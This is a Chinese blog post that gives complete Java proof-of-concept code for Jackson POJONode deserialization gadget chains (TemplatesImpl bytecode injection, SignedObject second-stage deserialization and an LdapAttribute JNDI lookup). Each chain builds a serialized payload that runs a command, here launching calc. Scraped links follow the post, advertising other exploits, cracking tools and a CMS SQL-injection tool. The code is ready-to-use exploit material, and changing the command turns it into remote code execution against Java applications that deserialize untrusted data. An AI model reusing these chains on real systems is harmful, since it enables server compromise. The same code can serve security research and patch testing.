JackSon反序列化通杀
前言
Springboot一般都会自带JackSon这个依赖包,JackSon跟Fastjson有相同的功效
简单复现
package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
public User() {
}
public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
public Object setName(String name) {
System.out.println("setname");
return "2";
}
}
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
public class JakesonDemo {
public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}
运行即可弹计算器
Jackson反序列化利用链
注意点
PoJoNode类是继承ValueNode,ValueNode是继承BaseJsonNode类,我们看看BaseJsonNode类

它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,解决办法就是重写BaseJsonNode类
把这个writeReplace注释掉即可
TemplatesImpl链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
进入到重写的BaseJsonNode类的toString方法
中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter
SignObject链
二次反序列化,无需多讲
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class SignObjectDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
System.out.println(serial(exp2));
deserial(serial(exp2));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
LdapAttribute链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
public class LdapAttributeDemo {
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1099/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
LdapAttribute类中有getter方法调用了lookup


两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧
JackSon反序列化通杀的更多相关文章
- 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击
通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...
- 小白审计JACKSON反序列化漏洞
1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...
- Postsharp 破解工具(通杀版,持续更新)
2019.04.18 重要说明 VS2019 正式版已经发布了,Postsharp v6.2.2-Preview(预览版)也开始支持VS2019.不过截至目前,该预览版还不是特别稳定,因此提醒下大家在 ...
- [.NET] [.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=
[.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=- 识别方法: 如果无法调戏,请上传附件艾特我.............发帖不易啊..身处大西 ...
- DedeCMS全版本通杀SQL注入漏洞利用代码及工具
dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...
- 飘逸的python - 极简的二叉树前中后序通杀函数
对于任一结点.能够按某种次序运行三个操作: 訪问结点本身(N) 遍历该结点的左子树(L) 遍历该结点的右子树(R) 用来表示顺序,即,前序NLR/中序LNR/后序LRN. 以下我们用namedtupl ...
- X86逆向2:提取按钮通杀特征码
本章我们将学习特征码的提取与定位,特征码是软件中一段固定的具有标志性的代码片段,特征码的用途非常广泛,最常见的就是杀毒软件的查杀了,查杀就是根据特征码定位技术实现的,再比如木马的免杀也是修改了特征码的 ...
- CVE-2017-11882:Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析
\x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中,修复了一个 Office 远程代码执行漏洞(缓冲区溢出),编号为 CVE-2017-11882,又称为 "噩梦公式&q ...
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
- r0capture安卓应用层通杀脚本-使用文档
本文所有教程及源码.软件仅为技术研究.不涉及计算机信息系统功能的删除.修改.增加.干扰,更不会影响计算机信息系统的正常运行.不得将代码用于非法用途,如侵立删! r0capture安卓应用层通杀脚本-使 ...
随机推荐
- K6 在 Nebula Graph 上的压测实践
背景 对于数据库来说,性能测试是一个非常频繁的事情.优化查询引擎的规则,调整存储引擎的参数等,都需要通过性能测试,查看系统在不同场景下的影响. 即便是同样的代码,同样的参数配置,在不同的机器资源配置, ...
- 获取一段时间内,以月/季度为单位,第N天在各个月/季度是几几年几月几号
/** * 获取一段时间内(可跨年),以季度为单位,第N天在各个季度是几月几号 * @param $sTime 时间戳 * @param $eTime 时间戳 * @param $number 第N天 ...
- Zabbix技术分享——zabbix命令详解
在与IT运维的小伙伴交流过程中不少人问到了zabbix_agentd.zabbix_proxy等命令的具体使用问题,为此这一期内容我们来聊聊Zabbix相关命令,其中包括zabbix_server.z ...
- Zabbix6.0使用教程 (三)—zabbix6.0的安装要求
接上篇,我们继续为大家详细介绍zabbix6.0的使用教程之zabbix6.0的安装部署.接下来我们将从zabbix部署要求到四种不同的安装方式逐一详细的为大家介绍.本篇讲的是部署zabbix6.0的 ...
- 火柴 基于everything的搜索软件 软件推荐 Ctrl+Ctrl 显示 tab转换 本机搜索和网络搜索
https://www.huochaipro.com/
- 灰度发布、蓝绿部署、金丝雀发布和AB测试及在k8s中的实现
灰度发布.蓝绿部署.金丝雀发布和AB测试都是软件开发和部署中常用的策略,每种策略都有其特定的用途和优势.下面是对这些策略的简要解释: 灰度发布(Grayscale Release): 灰度发布是一种逐 ...
- 【预训练语言模型】BERT原理解析、常见问题和微调实战
一.BERT原理 1.概述 背景:通过在大规模语料上预训练语言模型,可以显著提高其在NLP下游任务的表现. 动机:限制模型潜力的主要原因在于现有模型使用的都是单向的语言模型 ...
- java -jar xxx.jar命令执行jar包时出现Error: Invalid or corrupt jarfile xxx.jar解决方案
MANIFEST.MF清单文件内容: Manifest-Version: 1.0 Ant-Version: Apache Ant 1.8.2 Created-By: 1.8.0_60-b27 (Ora ...
- 记录-VueJs中如何使用Teleport组件
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 在DOM结构相对比较复杂,层级嵌套比较深的组件内,需要根据相对应的模块业务处理一些逻辑,该逻辑属于当前组件 但是从整个页面应用的视图上看, ...
- Python连接mysql数据库和关闭数据库的方法
1 import pymysql 2 def get_conn(): 3 """ 4 :return: 连接,游标 5 """ 6 # 创建 ...